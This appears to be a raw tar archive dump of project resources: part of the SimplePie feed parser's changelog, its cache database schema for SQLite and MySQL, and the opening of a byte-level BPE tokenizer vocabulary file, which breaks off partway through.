[1.4.2](https://github.com/simplepie/simplepie/compare/1.4.1...1.4.2) - 2016-06-14 * Fixed a bug with IRI parsing. * More cleanly separates discovery of microformats and parsing when php-mf2 is not present. ## [1.4.1](https://github.com/simplepie/simplepie/compare/1.4.0...1.4.1) - 2016-06-02 * Fixed inconsistent hash results in `SimplePie_Item->get_id()`. * Leading and trailing whitespace is now trimmed from XML feed content to prevent errors. [#445](https://github.com/simplepie/simplepie/pull/445) * Improved support for microformat feeds. ## [1.4.0](https://github.com/simplepie/simplepie/compare/1.4-beta...1.4.0) - 2016-04-25 * Dropped support for PHP 5.2. [#348](https://github.com/simplepie/simplepie/pull/348) * Serialized data is now used for hashing in `SimplePie_Item->get_id()`. [#348](https://github.com/simplepie/simplepie/pull/348) * Added support for PHP 5.5 and 5.6. [#348](https://github.com/simplepie/simplepie/pull/348) * Added the `add_attributes()` method to `SimplePie`. [#394](https://github.com/simplepie/simplepie/pull/394) * Added the `force_cache_fallback()` method to `SimplePie` to allow an expired cache to be used when a feed is unavailable. [#389](https://github.com/simplepie/simplepie/pull/389) * Added Memcached. [#386](https://github.com/simplepie/simplepie/pull/386) * Added `set_curl_options()` method to `SimplePie` to allow custom options. [#348](https://github.com/simplepie/simplepie/pull/348) * Added Redis Caching. [#348](https://github.com/simplepie/simplepie/pull/348) * Added the CEST timezone. [#380](https://github.com/simplepie/simplepie/pull/380) * Added support for HTTP 301 Moved Permanently. [#348](https://github.com/simplepie/simplepie/pull/348) * Added support for `application/x-rss+xml` in `SimplePie_Locator`. [#348](https://github.com/simplepie/simplepie/pull/348) * Added photo de-duping in microformats. [#348](https://github.com/simplepie/simplepie/pull/348) * Added decoding for special characters in MAYBE_HTML. [#400](https://github.com/simplepie/simplepie/pull/400) * Added `SimplePie_Exception` for internally reporting errors. Also, use this to show an error when trying to load the class instead of causing a failure. [#241](https://github.com/simplepie/simplepie/pull/241) * Added sanitization of the `</html>` and `</body>` tags. [#348](https://github.com/simplepie/simplepie/pull/348) * Added support for media thumbnails through `SimplePie_Item->get_thumbnail()`. [#348](https://github.com/simplepie/simplepie/pull/348) * Added the `feed_url` to a returned error message. [#348](https://github.com/simplepie/simplepie/pull/348) * Added cache purging after a specified period of time when using MySQL cache. [#329](https://github.com/simplepie/simplepie/pull/329) * Added backwards compatibility for removed `subscribe_*()` and `enable_xml_dump()` methods. [#348](https://github.com/simplepie/simplepie/pull/348) * Re-added the deprecated `get/set_favicon()` methods for backwards compatibility. * Charsets are now compared without case sensitivity to avoid duplicates. [#352](https://github.com/simplepie/simplepie/pull/352) * Fixed encoding of ampersands in `SimplePie->subscribe_url()`. [#348](https://github.com/simplepie/simplepie/pull/348) * The feed URL is now updated based on the URL returned by cURL. [#348](https://github.com/simplepie/simplepie/pull/348) * Explicitly use UTF-8 in `SimplePie_Misc->get_element()` and `Simple_ie_Misc->element_implode()`. [#348](https://github.com/simplepie/simplepie/pull/348) * Improved support, feed and authorship discovery, and parsing for microformats. [#348](https://github.com/simplepie/simplepie/pull/348) * `rss:pubDate` is now used over `atom:updated` when determining the posting date. [#288](https://github.com/simplepie/simplepie/pull/288) * Simplified the use of `mtime()` and `touch()`. [#403](https://github.com/simplepie/simplepie/pull/403) * All items are now forced to have a timestamp. [#348](https://github.com/simplepie/simplepie/pull/348) * Fixed typo in the date parser that incorrectly identified September as month 8. [#348](https://github.com/simplepie/simplepie/pull/348) * Fixed backwards compatibility with cache subclasses. [#243](https://github.com/simplepie/simplepie/pull/243) * Fixed a bug where the updated date was not fetched correctly. [#239](https://github.com/simplepie/simplepie/pull/239) * Fixed the datatype for `items.data` to be more appropriate in when using MySQL cache. [#302](https://github.com/simplepie/simplepie/pull/302) * Fixed cURL not failing when the server returns an error. [#425](https://github.com/simplepie/simplepie/pull/425) * Fixed an error caused when trying to instantiate a `SimplePie_File` object with a bad URI. [#272](https://github.com/simplepie/simplepie/pull/272) * Fixed a PHP notice that occurs when a date starts with `(`. [#348](https://github.com/simplepie/simplepie/pull/348) * Fixed uninitialized string offeset PHP notices. [#353](https://github.com/simplepie/simplepie/pull/353) * Fixed call to non-existent property in Memcache. [#311](https://github.com/simplepie/simplepie/pull/311) * Fixed a bug where MySQL statements were not being passed thorugh `prepare()`. [#348](https://github.com/simplepie/simplepie/pull/348) * Fixed an instance where an error message in `SimplePie` was not being triggered correctly. [#348](https://github.com/simplepie/simplepie/pull/348) * Fixed a bug with Russian feeds. [#348](https://github.com/simplepie/simplepie/pull/348) * Fixed an issue with memory leaks. [#287](https://github.com/simplepie/simplepie/pull/287) * Fixed use of `DOMElement` as array. [#315](https://github.com/simplepie/simplepie/pull/315) * Improved the error message when a feed cannot be found. [#348](https://github.com/simplepie/simplepie/pull/348) ����������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/db.sql��������������������������������������������������������������������������������0000644�����������������00000001535�14757771437�0010464 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* SQLite */ CREATE TABLE cache_data ( id TEXT NOT NULL, items SMALLINT NOT NULL DEFAULT 0, data BLOB NOT NULL, mtime INTEGER UNSIGNED NOT NULL ); CREATE UNIQUE INDEX id ON cache_data(id); CREATE TABLE items ( feed_id TEXT NOT NULL, id TEXT NOT NULL, data TEXT NOT NULL, posted INTEGER UNSIGNED NOT NULL ); CREATE INDEX feed_id ON items(feed_id); /* MySQL */ --- Don't paste this to create tables, since SimplePie will create --- tables by its own. CREATE TABLE `cache_data` ( `id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE ( `id`(125) ) ); CREATE TABLE `items` ( `feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` MEDIUMBLOB NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` ( `feed_id`(125) ) );�������������������������������������������������������������������������������������������������������������������������������������������������������������������res/tokenizer/pretrained_vocab_files/vocab.json�����������������������������������������������������0000644�����������������00003763575�14757771437�0016105 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{"!": 0, "\"": 1, "#": 2, "$": 3, "%": 4, "&": 5, "'": 6, "(": 7, ")": 8, "*": 9, "+": 10, ",": 11, "-": 12, ".": 13, "/": 14, "0": 15, "1": 16, "2": 17, "3": 18, "4": 19, "5": 20, "6": 21, "7": 22, "8": 23, "9": 24, ":": 25, ";": 26, "<": 27, "=": 28, ">": 29, "?": 30, "@": 31, "A": 32, "B": 33, "C": 34, "D": 35, "E": 36, "F": 37, "G": 38, "H": 39, "I": 40, "J": 41, "K": 42, "L": 43, "M": 44, "N": 45, "O": 46, "P": 47, "Q": 48, "R": 49, "S": 50, "T": 51, "U": 52, "V": 53, "W": 54, "X": 55, "Y": 56, "Z": 57, "[": 58, "\\": 59, "]": 60, "^": 61, "_": 62, "`": 63, "a": 64, "b": 65, "c": 66, "d": 67, "e": 68, "f": 69, "g": 70, "h": 71, "i": 72, "j": 73, "k": 74, "l": 75, "m": 76, "n": 77, "o": 78, "p": 79, "q": 80, "r": 81, "s": 82, "t": 83, "u": 84, "v": 85, "w": 86, "x": 87, "y": 88, "z": 89, "{": 90, "|": 91, "}": 92, "~": 93, "\u00a1": 94, "\u00a2": 95, "\u00a3": 96, "\u00a4": 97, "\u00a5": 98, "\u00a6": 99, "\u00a7": 100, "\u00a8": 101, "\u00a9": 102, "\u00aa": 103, "\u00ab": 104, "\u00ac": 105, "\u00ae": 106, "\u00af": 107, "\u00b0": 108, "\u00b1": 109, "\u00b2": 110, "\u00b3": 111, "\u00b4": 112, "\u00b5": 113, "\u00b6": 114, "\u00b7": 115, "\u00b8": 116, "\u00b9": 117, "\u00ba": 118, "\u00bb": 119, "\u00bc": 120, "\u00bd": 121, "\u00be": 122, "\u00bf": 123, "\u00c0": 124, "\u00c1": 125, "\u00c2": 126, "\u00c3": 127, "\u00c4": 128, "\u00c5": 129, "\u00c6": 130, "\u00c7": 131, "\u00c8": 132, "\u00c9": 133, "\u00ca": 134, "\u00cb": 135, "\u00cc": 136, "\u00cd": 137, "\u00ce": 138, "\u00cf": 139, "\u00d0": 140, "\u00d1": 141, "\u00d2": 142, "\u00d3": 143, "\u00d4": 144, "\u00d5": 145, "\u00d6": 146, "\u00d7": 147, "\u00d8": 148, "\u00d9": 149, "\u00da": 150, "\u00db": 151, "\u00dc": 152, "\u00dd": 153, "\u00de": 154, "\u00df": 155, "\u00e0": 156, "\u00e1": 157, "\u00e2": 158, "\u00e3": 159, "\u00e4": 160, "\u00e5": 161, "\u00e6": 162, "\u00e7": 163, "\u00e8": 164, "\u00e9": 165, "\u00ea": 166, "\u00eb": 167, "\u00ec": 168, "\u00ed": 169, "\u00ee": 170, "\u00ef": 171, "\u00f0": 172, "\u00f1": 173, "\u00f2": 174, "\u00f3": 175, "\u00f4": 176, "\u00f5": 177, "\u00f6": 178, "\u00f7": 179, "\u00f8": 180, "\u00f9": 181, "\u00fa": 182, "\u00fb": 183, "\u00fc": 184, "\u00fd": 185, "\u00fe": 186, "\u00ff": 187, "\u0100": 188, "\u0101": 189, "\u0102": 190, "\u0103": 191, "\u0104": 192, "\u0105": 193, "\u0106": 194, "\u0107": 195, "\u0108": 196, "\u0109": 197, "\u010a": 198, "\u010b": 199, "\u010c": 200, "\u010d": 201, "\u010e": 202, "\u010f": 203, "\u0110": 204, "\u0111": 205, "\u0112": 206, "\u0113": 207, "\u0114": 208, "\u0115": 209, "\u0116": 210, "\u0117": 211, "\u0118": 212, "\u0119": 213, "\u011a": 214, "\u011b": 215, "\u011c": 216, "\u011d": 217, "\u011e": 218, "\u011f": 219, "\u0120": 220, "\u0121": 221, "\u0122": 222, "\u0123": 223, "\u0124": 224, "\u0125": 225, "\u0126": 226, "\u0127": 227, "\u0128": 228, "\u0129": 229, "\u012a": 230, "\u012b": 231, "\u012c": 232, "\u012d": 233, "\u012e": 234, "\u012f": 235, "\u0130": 236, "\u0131": 237, "\u0132": 238, "\u0133": 239, "\u0134": 240, "\u0135": 241, "\u0136": 242, "\u0137": 243, "\u0138": 244, "\u0139": 245, "\u013a": 246, "\u013b": 247, "\u013c": 248, "\u013d": 249, "\u013e": 250, "\u013f": 251, "\u0140": 252, "\u0141": 253, "\u0142": 254, "\u0143": 255, "\u0120t": 256, "\u0120a": 257, "he": 258, "in": 259, "re": 260, "on": 261, "\u0120the": 262, "er": 263, "\u0120s": 264, "at": 265, "\u0120w": 266, "\u0120o": 267, "en": 268, "\u0120c": 269, "it": 270, "is": 271, "an": 272, "or": 273, "es": 274, "\u0120b": 275, "ed": 276, "\u0120f": 277, "ing": 278, "\u0120p": 279, "ou": 280, "\u0120an": 281, "al": 282, "ar": 283, "\u0120to": 284, "\u0120m": 285, "\u0120of": 286, "\u0120in": 287, "\u0120d": 288, "\u0120h": 289, "\u0120and": 290, "ic": 291, "as": 292, "le": 293, "\u0120th": 294, "ion": 295, "om": 296, "ll": 297, "ent": 298, "\u0120n": 299, "\u0120l": 300, "st": 301, "\u0120re": 302, "ve": 303, "\u0120e": 304, "ro": 305, "ly": 306, "\u0120be": 307, "\u0120g": 308, "\u0120T": 309, "ct": 310, "\u0120S": 311, "id": 312, "ot": 313, "\u0120I": 314, "ut": 315, "et": 316, "\u0120A": 317, "\u0120is": 318, "\u0120on": 319, "im": 320, "am": 321, "ow": 322, "ay": 323, "ad": 324, "se": 325, "\u0120that": 326, "\u0120C": 327, "ig": 328, "\u0120for": 329, "ac": 330, "\u0120y": 331, "ver": 332, "ur": 333, "\u0120u": 334, "ld": 335, "\u0120st": 336, "\u0120M": 337, "'s": 338, "\u0120he": 339, "\u0120it": 340, "ation": 341, "ith": 342, "ir": 343, "ce": 344, "\u0120you": 345, "il": 346, "\u0120B": 347, "\u0120wh": 348, "ol": 349, "\u0120P": 350, "\u0120with": 351, "\u01201": 352, "ter": 353, "ch": 354, "\u0120as": 355, "\u0120we": 356, "\u0120(": 357, "nd": 358, "ill": 359, "\u0120D": 360, "if": 361, "\u01202": 362, "ag": 363, "ers": 364, "ke": 365, "\u0120\"": 366, "\u0120H": 367, "em": 368, "\u0120con": 369, "\u0120W": 370, "\u0120R": 371, "her": 372, "\u0120was": 373, "\u0120r": 374, "od": 375, "\u0120F": 376, "ul": 377, "ate": 378, "\u0120at": 379, "ri": 380, "pp": 381, "ore": 382, "\u0120The": 383, "\u0120se": 384, "us": 385, "\u0120pro": 386, "\u0120ha": 387, "um": 388, "\u0120are": 389, "\u0120de": 390, "ain": 391, "and": 392, "\u0120or": 393, "igh": 394, "est": 395, "ist": 396, "ab": 397, "rom": 398, "\u0120N": 399, "th": 400, "\u0120com": 401, "\u0120G": 402, "un": 403, "op": 404, "00": 405, "\u0120L": 406, "\u0120not": 407, "ess": 408, "\u0120ex": 409, "\u0120v": 410, "res": 411, "\u0120E": 412, "ew": 413, "ity": 414, "ant": 415, "\u0120by": 416, "el": 417, "os": 418, "ort": 419, "oc": 420, "qu": 421, "\u0120from": 422, "\u0120have": 423, "\u0120su": 424, "ive": 425, "ould": 426, "\u0120sh": 427, "\u0120this": 428, "nt": 429, "ra": 430, "pe": 431, "ight": 432, "art": 433, "ment": 434, "\u0120al": 435, "ust": 436, "end": 437, "--": 438, "all": 439, "\u0120O": 440, "ack": 441, "\u0120ch": 442, "\u0120le": 443, "ies": 444, "red": 445, "ard": 446, "\u00e2\u0122": 447, "out": 448, "\u0120J": 449, "\u0120ab": 450, "ear": 451, "iv": 452, "ally": 453, "our": 454, "ost": 455, "gh": 456, "pt": 457, "\u0120pl": 458, "ast": 459, "\u0120can": 460, "ak": 461, "ome": 462, "ud": 463, "The": 464, "\u0120his": 465, "\u0120do": 466, "\u0120go": 467, "\u0120has": 468, "ge": 469, "'t": 470, "\u0120U": 471, "rou": 472, "\u0120sa": 473, "\u0120j": 474, "\u0120but": 475, "\u0120wor": 476, "\u0120all": 477, "ect": 478, "\u0120k": 479, "ame": 480, "\u0120will": 481, "ok": 482, "\u0120whe": 483, "\u0120they": 484, "ide": 485, "01": 486, "ff": 487, "ich": 488, "pl": 489, "ther": 490, "\u0120tr": 491, "..": 492, "\u0120int": 493, "ie": 494, "ure": 495, "age": 496, "\u0120ne": 497, "ial": 498, "ap": 499, "ine": 500, "ice": 501, "\u0120me": 502, "\u0120out": 503, "ans": 504, "one": 505, "ong": 506, "ions": 507, "\u0120who": 508, "\u0120K": 509, "\u0120up": 510, "\u0120their": 511, "\u0120ad": 512, "\u01203": 513, "\u0120us": 514, "ated": 515, "ous": 516, "\u0120more": 517, "ue": 518, "og": 519, "\u0120St": 520, "ind": 521, "ike": 522, "\u0120so": 523, "ime": 524, "per": 525, ".\"": 526, "ber": 527, "iz": 528, "act": 529, "\u0120one": 530, "\u0120said": 531, "\u0120-": 532, "are": 533, "\u0120your": 534, "cc": 535, "\u0120Th": 536, "\u0120cl": 537, "ep": 538, "ake": 539, "able": 540, "ip": 541, "\u0120cont": 542, "\u0120which": 543, "ia": 544, "\u0120im": 545, "\u0120about": 546, "\u0120were": 547, "very": 548, "ub": 549, "\u0120had": 550, "\u0120en": 551, "\u0120comp": 552, ",\"": 553, "\u0120In": 554, "\u0120un": 555, "\u0120ag": 556, "ire": 557, "ace": 558, "au": 559, "ary": 560, "\u0120would": 561, "ass": 562, "ry": 563, "\u0120\u00e2\u0122": 564, "cl": 565, "ook": 566, "ere": 567, "so": 568, "\u0120V": 569, "ign": 570, "ib": 571, "\u0120off": 572, "\u0120te": 573, "ven": 574, "\u0120Y": 575, "ile": 576, "ose": 577, "ite": 578, "orm": 579, "\u0120201": 580, "\u0120res": 581, "\u0120man": 582, "\u0120per": 583, "\u0120other": 584, "ord": 585, "ult": 586, "\u0120been": 587, "\u0120like": 588, "ase": 589, "ance": 590, "ks": 591, "ays": 592, "own": 593, "ence": 594, "\u0120dis": 595, "ction": 596, "\u0120any": 597, "\u0120app": 598, "\u0120sp": 599, "int": 600, "ress": 601, "ations": 602, "ail": 603, "\u01204": 604, "ical": 605, "\u0120them": 606, "\u0120her": 607, "ount": 608, "\u0120Ch": 609, "\u0120ar": 610, "\u0120if": 611, "\u0120there": 612, "\u0120pe": 613, "\u0120year": 614, "av": 615, "\u0120my": 616, "\u0120some": 617, "\u0120when": 618, "ough": 619, "ach": 620, "\u0120than": 621, "ru": 622, "ond": 623, "ick": 624, "\u0120over": 625, "vel": 626, "\u0120qu": 627, "\u010a\u010a": 628, "\u0120sc": 629, "reat": 630, "ree": 631, "\u0120It": 632, "ound": 633, "port": 634, "\u0120also": 635, "\u0120part": 636, "fter": 637, "\u0120kn": 638, "\u0120bec": 639, "\u0120time": 640, "ens": 641, "\u01205": 642, "ople": 643, "\u0120what": 644, "\u0120no": 645, "du": 646, "mer": 647, "ang": 648, "\u0120new": 649, "----": 650, "\u0120get": 651, "ory": 652, "ition": 653, "ings": 654, "\u0120just": 655, "\u0120into": 656, "\u01200": 657, "ents": 658, "ove": 659, "te": 660, "\u0120people": 661, "\u0120pre": 662, "\u0120its": 663, "\u0120rec": 664, "\u0120tw": 665, "ian": 666, "irst": 667, "ark": 668, "ors": 669, "\u0120work": 670, "ade": 671, "ob": 672, "\u0120she": 673, "\u0120our": 674, "wn": 675, "ink": 676, "lic": 677, "\u012019": 678, "\u0120He": 679, "ish": 680, "nder": 681, "ause": 682, "\u0120him": 683, "ons": 684, "\u0120[": 685, "\u0120ro": 686, "form": 687, "ild": 688, "ates": 689, "vers": 690, "\u0120only": 691, "oll": 692, "\u0120spe": 693, "ck": 694, "ell": 695, "amp": 696, "\u0120acc": 697, "\u0120bl": 698, "ious": 699, "urn": 700, "ft": 701, "ood": 702, "\u0120how": 703, "hed": 704, "\u0120'": 705, "\u0120after": 706, "aw": 707, "\u0120att": 708, "ov": 709, "ne": 710, "\u0120play": 711, "erv": 712, "ict": 713, "\u0120could": 714, "itt": 715, "\u0120am": 716, "\u0120first": 717, "\u01206": 718, "\u0120act": 719, "\u0120$": 720, "ec": 721, "hing": 722, "ual": 723, "ull": 724, "\u0120comm": 725, "oy": 726, "old": 727, "ces": 728, "ater": 729, "\u0120fe": 730, "\u0120bet": 731, "we": 732, "iff": 733, "\u0120two": 734, "ock": 735, "\u0120back": 736, ").": 737, "ident": 738, "\u0120under": 739, "rough": 740, "sel": 741, "xt": 742, "\u0120may": 743, "round": 744, "\u0120po": 745, "ph": 746, "iss": 747, "\u0120des": 748, "\u0120most": 749, "\u0120did": 750, "\u0120add": 751, "ject": 752, "\u0120inc": 753, "fore": 754, "\u0120pol": 755, "ont": 756, "\u0120again": 757, "clud": 758, "tern": 759, "\u0120know": 760, "\u0120need": 761, "\u0120cons": 762, "\u0120co": 763, "\u0120.": 764, "\u0120want": 765, "\u0120see": 766, "\u01207": 767, "ning": 768, "iew": 769, "\u0120This": 770, "ced": 771, "\u0120even": 772, "\u0120ind": 773, "ty": 774, "\u0120We": 775, "ath": 776, "\u0120these": 777, "\u0120pr": 778, "\u0120use": 779, "\u0120because": 780, "\u0120fl": 781, "ng": 782, "\u0120now": 783, "\u0120\u00e2\u0122\u0135": 784, "com": 785, "ise": 786, "\u0120make": 787, "\u0120then": 788, "ower": 789, "\u0120every": 790, "\u0120Un": 791, "\u0120sec": 792, "oss": 793, "uch": 794, "\u0120em": 795, "\u0120=": 796, "\u0120Re": 797, "ied": 798, "rit": 799, "\u0120inv": 800, "lect": 801, "\u0120supp": 802, "ating": 803, "\u0120look": 804, "man": 805, "pect": 806, "\u01208": 807, "row": 808, "\u0120bu": 809, "\u0120where": 810, "ific": 811, "\u0120years": 812, "ily": 813, "\u0120diff": 814, "\u0120should": 815, "\u0120rem": 816, "Th": 817, "In": 818, "\u0120ev": 819, "day": 820, "'re": 821, "rib": 822, "\u0120rel": 823, "ss": 824, "\u0120def": 825, "\u0120right": 826, "\u0120sy": 827, "),": 828, "les": 829, "000": 830, "hen": 831, "\u0120through": 832, "\u0120Tr": 833, "__": 834, "\u0120way": 835, "\u0120don": 836, "\u0120,": 837, "\u012010": 838, "ased": 839, "\u0120ass": 840, "ublic": 841, "\u0120reg": 842, "\u0120And": 843, "ix": 844, "\u0120very": 845, "\u0120includ": 846, "other": 847, "\u0120imp": 848, "oth": 849, "\u0120sub": 850, "\u0120\u00e2\u0122\u0136": 851, "\u0120being": 852, "arg": 853, "\u0120Wh": 854, "==": 855, "ible": 856, "\u0120does": 857, "ange": 858, "ram": 859, "\u01209": 860, "ert": 861, "ps": 862, "ited": 863, "ational": 864, "\u0120br": 865, "\u0120down": 866, "\u0120many": 867, "aking": 868, "\u0120call": 869, "uring": 870, "ities": 871, "\u0120ph": 872, "ics": 873, "als": 874, "\u0120dec": 875, "ative": 876, "ener": 877, "\u0120before": 878, "ility": 879, "\u0120well": 880, "\u0120much": 881, "erson": 882, "\u0120those": 883, "\u0120such": 884, "\u0120ke": 885, "\u0120end": 886, "\u0120But": 887, "ason": 888, "ting": 889, "\u0120long": 890, "ef": 891, "\u0120think": 892, "ys": 893, "\u0120bel": 894, "\u0120sm": 895, "its": 896, "ax": 897, "\u0120own": 898, "\u0120prov": 899, "\u0120set": 900, "ife": 901, "ments": 902, "ble": 903, "ward": 904, "\u0120show": 905, "\u0120pres": 906, "ms": 907, "omet": 908, "\u0120ob": 909, "\u0120say": 910, "\u0120Sh": 911, "ts": 912, "ful": 913, "\u0120eff": 914, "\u0120gu": 915, "\u0120inst": 916, "und": 917, "ren": 918, "cess": 919, "\u0120ent": 920, "\u0120You": 921, "\u0120good": 922, "\u0120start": 923, "ince": 924, "\u0120made": 925, "tt": 926, "stem": 927, "olog": 928, "up": 929, "\u0120|": 930, "ump": 931, "\u0120hel": 932, "vern": 933, "ular": 934, "ually": 935, "\u0120ac": 936, "\u0120mon": 937, "\u0120last": 938, "\u0120200": 939, "10": 940, "\u0120stud": 941, "ures": 942, "\u0120Ar": 943, "self": 944, "ars": 945, "meric": 946, "ues": 947, "cy": 948, "\u0120min": 949, "ollow": 950, "\u0120col": 951, "io": 952, "\u0120mod": 953, "\u0120count": 954, "\u0120Com": 955, "hes": 956, "\u0120fin": 957, "air": 958, "ier": 959, "\u00e2\u0122\u0136": 960, "read": 961, "ank": 962, "atch": 963, "ever": 964, "\u0120str": 965, "\u0120point": 966, "ork": 967, "\u0120New": 968, "\u0120sur": 969, "ool": 970, "alk": 971, "ement": 972, "\u0120used": 973, "ract": 974, "ween": 975, "\u0120same": 976, "oun": 977, "\u0120Al": 978, "ci": 979, "\u0120differe": 980, "\u0120while": 981, "--------": 982, "\u0120game": 983, "cept": 984, "\u0120sim": 985, "...": 986, "\u0120inter": 987, "ek": 988, "\u0120report": 989, "\u0120produ": 990, "\u0120still": 991, "led": 992, "ah": 993, "\u0120here": 994, "\u0120world": 995, "\u0120though": 996, "\u0120num": 997, "arch": 998, "imes": 999, "ale": 1000, "\u0120Se": 1001, "\u0120If": 1002, "//": 1003, "\u0120Le": 1004, "\u0120ret": 1005, "\u0120ref": 1006, "\u0120trans": 1007, "ner": 1008, "ution": 1009, "ters": 1010, "\u0120take": 1011, "\u0120Cl": 1012, "\u0120conf": 1013, "way": 1014, "ave": 1015, "\u0120going": 1016, "\u0120sl": 1017, "ug": 1018, "\u0120Americ": 1019, "\u0120spec": 1020, "\u0120hand": 1021, "\u0120between": 1022, "ists": 1023, "\u0120De": 1024, "oot": 1025, "It": 1026, "\u0120ear": 1027, "\u0120against": 1028, "\u0120high": 1029, "gan": 1030, "az": 1031, "ather": 1032, "\u0120exp": 1033, "\u0120op": 1034, "\u0120ins": 1035, "\u0120gr": 1036, "\u0120help": 1037, "\u0120requ": 1038, "ets": 1039, "ins": 1040, "\u0120Pro": 1041, "ism": 1042, "\u0120found": 1043, "land": 1044, "ata": 1045, "uss": 1046, "ames": 1047, "\u0120person": 1048, "\u0120great": 1049, "pr": 1050, "\u0120sign": 1051, "\u0120An": 1052, "'ve": 1053, "\u0120somet": 1054, "\u0120ser": 1055, "hip": 1056, "\u0120run": 1057, "\u0120:": 1058, "\u0120ter": 1059, "irect": 1060, "\u0120follow": 1061, "\u0120det": 1062, "ices": 1063, "\u0120find": 1064, "12": 1065, "\u0120mem": 1066, "\u0120cr": 1067, "ered": 1068, "ex": 1069, "\u0120ext": 1070, "uth": 1071, "ense": 1072, "co": 1073, "\u0120team": 1074, "ving": 1075, "ouse": 1076, "ash": 1077, "att": 1078, "ved": 1079, "\u0120system": 1080, "\u0120As": 1081, "der": 1082, "ives": 1083, "min": 1084, "\u0120lead": 1085, "\u0120Bl": 1086, "cent": 1087, "\u0120around": 1088, "\u0120govern": 1089, "\u0120cur": 1090, "velop": 1091, "any": 1092, "\u0120cour": 1093, "alth": 1094, "ages": 1095, "ize": 1096, "\u0120car": 1097, "ode": 1098, "\u0120law": 1099, "\u0120read": 1100, "'m": 1101, "con": 1102, "\u0120real": 1103, "\u0120support": 1104, "\u012012": 1105, "....": 1106, "\u0120really": 1107, "ness": 1108, "\u0120fact": 1109, "\u0120day": 1110, "\u0120both": 1111, "ying": 1112, "\u0120serv": 1113, "\u0120For": 1114, "\u0120three": 1115, "\u0120wom": 1116, "\u0120med": 1117, "ody": 1118, "\u0120They": 1119, "50": 1120, "\u0120exper": 1121, "ton": 1122, "\u0120each": 1123, "akes": 1124, "\u0120che": 1125, "\u0120cre": 1126, "ines": 1127, "\u0120rep": 1128, "19": 1129, "gg": 1130, "illion": 1131, "\u0120grou": 1132, "ute": 1133, "ik": 1134, "We": 1135, "get": 1136, "ER": 1137, "\u0120met": 1138, "\u0120says": 1139, "ox": 1140, "\u0120during": 1141, "ern": 1142, "ized": 1143, "ared": 1144, "\u0120fam": 1145, "ically": 1146, "\u0120happ": 1147, "\u0120Is": 1148, "\u0120char": 1149, "med": 1150, "vent": 1151, "\u0120gener": 1152, "ient": 1153, "ple": 1154, "iet": 1155, "rent": 1156, "11": 1157, "ves": 1158, "ption": 1159, "\u012020": 1160, "formation": 1161, "\u0120cor": 1162, "\u0120offic": 1163, "ield": 1164, "\u0120too": 1165, "ision": 1166, "\u0120inf": 1167, "\u0120Z": 1168, "the": 1169, "oad": 1170, "\u0120public": 1171, "\u0120prog": 1172, "ric": 1173, "**": 1174, "\u0120war": 1175, "\u0120power": 1176, "view": 1177, "\u0120few": 1178, "\u0120loc": 1179, "\u0120different": 1180, "\u0120state": 1181, "\u0120head": 1182, "'ll": 1183, "\u0120poss": 1184, "\u0120stat": 1185, "ret": 1186, "ants": 1187, "\u0120val": 1188, "\u0120iss": 1189, "\u0120cle": 1190, "ivers": 1191, "anc": 1192, "\u0120expl": 1193, "\u0120another": 1194, "\u0120Q": 1195, "\u0120av": 1196, "thing": 1197, "nce": 1198, "Wh": 1199, "\u0120child": 1200, "\u0120since": 1201, "ired": 1202, "less": 1203, "\u0120life": 1204, "\u0120develop": 1205, "ittle": 1206, "\u0120dep": 1207, "\u0120pass": 1208, "\u00e3\u0125": 1209, "\u0120turn": 1210, "orn": 1211, "This": 1212, "bers": 1213, "ross": 1214, "\u0120Ad": 1215, "\u0120fr": 1216, "\u0120resp": 1217, "\u0120second": 1218, "oh": 1219, "\u0120/": 1220, "\u0120disc": 1221, "\u0120&": 1222, "\u0120something": 1223, "\u0120comple": 1224, "\u0120ed": 1225, "\u0120fil": 1226, "\u0120month": 1227, "aj": 1228, "uc": 1229, "\u0120government": 1230, "\u0120without": 1231, "\u0120leg": 1232, "\u0120dist": 1233, "\u0120put": 1234, "\u0120quest": 1235, "ann": 1236, "\u0120prot": 1237, "20": 1238, "\u0120never": 1239, "ience": 1240, "\u0120level": 1241, "\u0120art": 1242, "\u0120things": 1243, "\u0120might": 1244, "\u0120effect": 1245, "\u0120contro": 1246, "\u0120cent": 1247, "\u012018": 1248, "\u0120allow": 1249, "\u0120belie": 1250, "chool": 1251, "ott": 1252, "\u0120incre": 1253, "\u0120feel": 1254, "\u0120result": 1255, "\u0120lot": 1256, "\u0120fun": 1257, "ote": 1258, "\u0120ty": 1259, "erest": 1260, "\u0120contin": 1261, "\u0120using": 1262, "\u0120big": 1263, "201": 1264, "\u0120ask": 1265, "\u0120best": 1266, "\u0120)": 1267, "IN": 1268, "\u0120opp": 1269, "30": 1270, "\u0120number": 1271, "iness": 1272, "St": 1273, "lease": 1274, "\u0120ca": 1275, "\u0120must": 1276, "\u0120direct": 1277, "\u0120gl": 1278, "\u0120<": 1279, "\u0120open": 1280, "\u0120post": 1281, "\u0120come": 1282, "\u0120seem": 1283, "ording": 1284, "\u0120week": 1285, "ately": 1286, "ital": 1287, "\u0120el": 1288, "riend": 1289, "\u0120far": 1290, "\u0120tra": 1291, "inal": 1292, "\u0120pri": 1293, "\u0120US": 1294, "\u0120place": 1295, "\u0120form": 1296, "\u0120told": 1297, "\":": 1298, "ains": 1299, "ature": 1300, "\u0120Trump": 1301, "\u0120stand": 1302, "\u0120#": 1303, "ider": 1304, "\u0120Fr": 1305, "\u0120next": 1306, "\u0120soc": 1307, "\u0120pur": 1308, "\u0120let": 1309, "\u0120little": 1310, "\u0120hum": 1311, "\u0120i": 1312, "ron": 1313, "15": 1314, "\u012015": 1315, "\u0120commun": 1316, "\u0120mark": 1317, "\u0120There": 1318, "\u0120wr": 1319, "\u0120That": 1320, "\u0120information": 1321, "ways": 1322, "\u0120bus": 1323, "app": 1324, "\u0120invest": 1325, "me": 1326, "\u0120hard": 1327, "ained": 1328, "ead": 1329, "\u0120import": 1330, "\u0120appro": 1331, "\u0120test": 1332, "\u0120tri": 1333, "\u0120rest": 1334, "osed": 1335, "\u0120full": 1336, "\u0120care": 1337, 